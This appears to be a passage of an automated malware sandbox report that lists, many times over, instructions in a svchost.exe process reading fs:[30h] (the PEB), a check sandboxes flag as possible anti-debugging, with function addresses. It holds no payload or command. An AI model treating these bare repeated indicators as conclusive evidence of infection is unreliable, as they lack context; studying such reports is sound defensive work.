Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402E1 mov eax, dword ptr fs:[00000030h]	2_2_02D402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402E1 mov eax, dword ptr fs:[00000030h]	2_2_02D402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402E1 mov eax, dword ptr fs:[00000030h]	2_2_02D402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E062D6 mov eax, dword ptr fs:[00000030h]	2_2_02E062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E284 mov eax, dword ptr fs:[00000030h]	2_2_02D6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E284 mov eax, dword ptr fs:[00000030h]	2_2_02D6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB0283 mov eax, dword ptr fs:[00000030h]	2_2_02DB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB0283 mov eax, dword ptr fs:[00000030h]	2_2_02DB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB0283 mov eax, dword ptr fs:[00000030h]	2_2_02DB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402A0 mov eax, dword ptr fs:[00000030h]	2_2_02D402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D402A0 mov eax, dword ptr fs:[00000030h]	2_2_02D402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC62A0 mov eax, dword ptr fs:[00000030h]	2_2_02DC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC62A0 mov ecx, dword ptr fs:[00000030h]	2_2_02DC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC62A0 mov eax, dword ptr fs:[00000030h]	2_2_02DC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC62A0 mov eax, dword ptr fs:[00000030h]	2_2_02DC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC62A0 mov eax, dword ptr fs:[00000030h]	2_2_02DC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC62A0 mov eax, dword ptr fs:[00000030h]	2_2_02DC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2A250 mov eax, dword ptr fs:[00000030h]	2_2_02D2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36259 mov eax, dword ptr fs:[00000030h]	2_2_02D36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEA250 mov eax, dword ptr fs:[00000030h]	2_2_02DEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEA250 mov eax, dword ptr fs:[00000030h]	2_2_02DEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB8243 mov eax, dword ptr fs:[00000030h]	2_2_02DB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB8243 mov ecx, dword ptr fs:[00000030h]	2_2_02DB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274 mov eax, dword ptr fs:[00000030h]	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34260 mov eax, dword ptr fs:[00000030h]	2_2_02D34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34260 mov eax, dword ptr fs:[00000030h]	2_2_02D34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34260 mov eax, dword ptr fs:[00000030h]	2_2_02D34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2826B mov eax, dword ptr fs:[00000030h]	2_2_02D2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0625D mov eax, dword ptr fs:[00000030h]	2_2_02E0625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2823B mov eax, dword ptr fs:[00000030h]	2_2_02D2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE3DB mov eax, dword ptr fs:[00000030h]	2_2_02DDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE3DB mov eax, dword ptr fs:[00000030h]	2_2_02DDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE3DB mov ecx, dword ptr fs:[00000030h]	2_2_02DDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE3DB mov eax, dword ptr fs:[00000030h]	2_2_02DDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD43D4 mov eax, dword ptr fs:[00000030h]	2_2_02DD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD43D4 mov eax, dword ptr fs:[00000030h]	2_2_02DD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEC3CD mov eax, dword ptr fs:[00000030h]	2_2_02DEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02D3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D383C0 mov eax, dword ptr fs:[00000030h]	2_2_02D383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D383C0 mov eax, dword ptr fs:[00000030h]	2_2_02D383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D383C0 mov eax, dword ptr fs:[00000030h]	2_2_02D383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D383C0 mov eax, dword ptr fs:[00000030h]	2_2_02D383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB63C0 mov eax, dword ptr fs:[00000030h]	2_2_02DB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_02D4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_02D4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_02D4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D663FF mov eax, dword ptr fs:[00000030h]	2_2_02D663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D403E9 mov eax, dword ptr fs:[00000030h]	2_2_02D403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D403E9 mov eax, dword ptr fs:[00000030h]	2_2_02D403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D403E9 mov eax, dword ptr fs:[00000030h]	2_2_02D403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D403E9 mov eax, dword ptr fs:[00000030h]	2_2_02D403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D403E9 mov eax, dword ptr fs:[00000030h]	2_2_02D403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D403E9 mov eax, dword ptr fs:[00000030h]	2_2_02D403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D403E9 mov eax, dword ptr fs:[00000030h]	2_2_02D403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D403E9 mov eax, dword ptr fs:[00000030h]	2_2_02D403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D28397 mov eax, dword ptr fs:[00000030h]	2_2_02D28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D28397 mov eax, dword ptr fs:[00000030h]	2_2_02D28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D28397 mov eax, dword ptr fs:[00000030h]	2_2_02D28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E388 mov eax, dword ptr fs:[00000030h]	2_2_02D2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E388 mov eax, dword ptr fs:[00000030h]	2_2_02D2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E388 mov eax, dword ptr fs:[00000030h]	2_2_02D2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5438F mov eax, dword ptr fs:[00000030h]	2_2_02D5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5438F mov eax, dword ptr fs:[00000030h]	2_2_02D5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB035C mov eax, dword ptr fs:[00000030h]	2_2_02DB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB035C mov eax, dword ptr fs:[00000030h]	2_2_02DB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB035C mov eax, dword ptr fs:[00000030h]	2_2_02DB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB035C mov ecx, dword ptr fs:[00000030h]	2_2_02DB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB035C mov eax, dword ptr fs:[00000030h]	2_2_02DB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB035C mov eax, dword ptr fs:[00000030h]	2_2_02DB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFA352 mov eax, dword ptr fs:[00000030h]	2_2_02DFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD8350 mov ecx, dword ptr fs:[00000030h]	2_2_02DD8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB2349 mov eax, dword ptr fs:[00000030h]	2_2_02DB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD437C mov eax, dword ptr fs:[00000030h]	2_2_02DD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0634F mov eax, dword ptr fs:[00000030h]	2_2_02E0634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2C310 mov ecx, dword ptr fs:[00000030h]	2_2_02D2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E08324 mov eax, dword ptr fs:[00000030h]	2_2_02E08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E08324 mov ecx, dword ptr fs:[00000030h]	2_2_02E08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E08324 mov eax, dword ptr fs:[00000030h]	2_2_02E08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E08324 mov eax, dword ptr fs:[00000030h]	2_2_02E08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D50310 mov ecx, dword ptr fs:[00000030h]	2_2_02D50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A30B mov eax, dword ptr fs:[00000030h]	2_2_02D6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A30B mov eax, dword ptr fs:[00000030h]	2_2_02D6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A30B mov eax, dword ptr fs:[00000030h]	2_2_02D6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB20DE mov eax, dword ptr fs:[00000030h]	2_2_02DB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2C0F0 mov eax, dword ptr fs:[00000030h]	2_2_02D2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D720F0 mov ecx, dword ptr fs:[00000030h]	2_2_02D720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_02D2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D380E9 mov eax, dword ptr fs:[00000030h]	2_2_02D380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB60E0 mov eax, dword ptr fs:[00000030h]	2_2_02DB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3208A mov eax, dword ptr fs:[00000030h]	2_2_02D3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF60B8 mov eax, dword ptr fs:[00000030h]	2_2_02DF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF60B8 mov ecx, dword ptr fs:[00000030h]	2_2_02DF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D280A0 mov eax, dword ptr fs:[00000030h]	2_2_02D280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC80A8 mov eax, dword ptr fs:[00000030h]	2_2_02DC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D32050 mov eax, dword ptr fs:[00000030h]	2_2_02D32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB6050 mov eax, dword ptr fs:[00000030h]	2_2_02DB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5C073 mov eax, dword ptr fs:[00000030h]	2_2_02D5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E016 mov eax, dword ptr fs:[00000030h]	2_2_02D4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E016 mov eax, dword ptr fs:[00000030h]	2_2_02D4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E016 mov eax, dword ptr fs:[00000030h]	2_2_02D4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E016 mov eax, dword ptr fs:[00000030h]	2_2_02D4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB4000 mov ecx, dword ptr fs:[00000030h]	2_2_02DB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD2000 mov eax, dword ptr fs:[00000030h]	2_2_02DD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD2000 mov eax, dword ptr fs:[00000030h]	2_2_02DD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD2000 mov eax, dword ptr fs:[00000030h]	2_2_02DD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD2000 mov eax, dword ptr fs:[00000030h]	2_2_02DD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD2000 mov eax, dword ptr fs:[00000030h]	2_2_02DD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD2000 mov eax, dword ptr fs:[00000030h]	2_2_02DD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD2000 mov eax, dword ptr fs:[00000030h]	2_2_02DD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD2000 mov eax, dword ptr fs:[00000030h]	2_2_02DD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC6030 mov eax, dword ptr fs:[00000030h]	2_2_02DC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2A020 mov eax, dword ptr fs:[00000030h]	2_2_02D2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2C020 mov eax, dword ptr fs:[00000030h]	2_2_02D2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E061E5 mov eax, dword ptr fs:[00000030h]	2_2_02E061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_02DAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_02DAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_02DAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_02DAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_02DAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF61C3 mov eax, dword ptr fs:[00000030h]	2_2_02DF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF61C3 mov eax, dword ptr fs:[00000030h]	2_2_02DF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D601F8 mov eax, dword ptr fs:[00000030h]	2_2_02D601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB019F mov eax, dword ptr fs:[00000030h]	2_2_02DB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB019F mov eax, dword ptr fs:[00000030h]	2_2_02DB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB019F mov eax, dword ptr fs:[00000030h]	2_2_02DB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB019F mov eax, dword ptr fs:[00000030h]	2_2_02DB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2A197 mov eax, dword ptr fs:[00000030h]	2_2_02D2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2A197 mov eax, dword ptr fs:[00000030h]	2_2_02D2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2A197 mov eax, dword ptr fs:[00000030h]	2_2_02D2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D70185 mov eax, dword ptr fs:[00000030h]	2_2_02D70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEC188 mov eax, dword ptr fs:[00000030h]	2_2_02DEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEC188 mov eax, dword ptr fs:[00000030h]	2_2_02DEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD4180 mov eax, dword ptr fs:[00000030h]	2_2_02DD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD4180 mov eax, dword ptr fs:[00000030h]	2_2_02DD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2C156 mov eax, dword ptr fs:[00000030h]	2_2_02D2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC8158 mov eax, dword ptr fs:[00000030h]	2_2_02DC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04164 mov eax, dword ptr fs:[00000030h]	2_2_02E04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04164 mov eax, dword ptr fs:[00000030h]	2_2_02E04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36154 mov eax, dword ptr fs:[00000030h]	2_2_02D36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36154 mov eax, dword ptr fs:[00000030h]	2_2_02D36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC4144 mov eax, dword ptr fs:[00000030h]	2_2_02DC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC4144 mov eax, dword ptr fs:[00000030h]	2_2_02DC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC4144 mov ecx, dword ptr fs:[00000030h]	2_2_02DC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC4144 mov eax, dword ptr fs:[00000030h]	2_2_02DC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC4144 mov eax, dword ptr fs:[00000030h]	2_2_02DC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDA118 mov ecx, dword ptr fs:[00000030h]	2_2_02DDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDA118 mov eax, dword ptr fs:[00000030h]	2_2_02DDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDA118 mov eax, dword ptr fs:[00000030h]	2_2_02DDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDA118 mov eax, dword ptr fs:[00000030h]	2_2_02DDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF0115 mov eax, dword ptr fs:[00000030h]	2_2_02DF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE10E mov eax, dword ptr fs:[00000030h]	2_2_02DDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE10E mov ecx, dword ptr fs:[00000030h]	2_2_02DDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE10E mov eax, dword ptr fs:[00000030h]	2_2_02DDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE10E mov eax, dword ptr fs:[00000030h]	2_2_02DDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE10E mov ecx, dword ptr fs:[00000030h]	2_2_02DDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE10E mov eax, dword ptr fs:[00000030h]	2_2_02DDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE10E mov eax, dword ptr fs:[00000030h]	2_2_02DDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE10E mov ecx, dword ptr fs:[00000030h]	2_2_02DDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE10E mov eax, dword ptr fs:[00000030h]	2_2_02DDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDE10E mov ecx, dword ptr fs:[00000030h]	2_2_02DDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D60124 mov eax, dword ptr fs:[00000030h]	2_2_02D60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_02D6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A6C7 mov eax, dword ptr fs:[00000030h]	2_2_02D6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_02DAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_02DAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_02DAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_02DAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB06F1 mov eax, dword ptr fs:[00000030h]	2_2_02DB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB06F1 mov eax, dword ptr fs:[00000030h]	2_2_02DB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34690 mov eax, dword ptr fs:[00000030h]	2_2_02D34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D34690 mov eax, dword ptr fs:[00000030h]	2_2_02D34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D666B0 mov eax, dword ptr fs:[00000030h]	2_2_02D666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6C6A6 mov eax, dword ptr fs:[00000030h]	2_2_02D6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4C640 mov eax, dword ptr fs:[00000030h]	2_2_02D4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D62674 mov eax, dword ptr fs:[00000030h]	2_2_02D62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF866E mov eax, dword ptr fs:[00000030h]	2_2_02DF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF866E mov eax, dword ptr fs:[00000030h]	2_2_02DF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A660 mov eax, dword ptr fs:[00000030h]	2_2_02D6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A660 mov eax, dword ptr fs:[00000030h]	2_2_02D6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72619 mov eax, dword ptr fs:[00000030h]	2_2_02D72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAE609 mov eax, dword ptr fs:[00000030h]	2_2_02DAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4260B mov eax, dword ptr fs:[00000030h]	2_2_02D4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4260B mov eax, dword ptr fs:[00000030h]	2_2_02D4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4260B mov eax, dword ptr fs:[00000030h]	2_2_02D4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4260B mov eax, dword ptr fs:[00000030h]	2_2_02D4260B
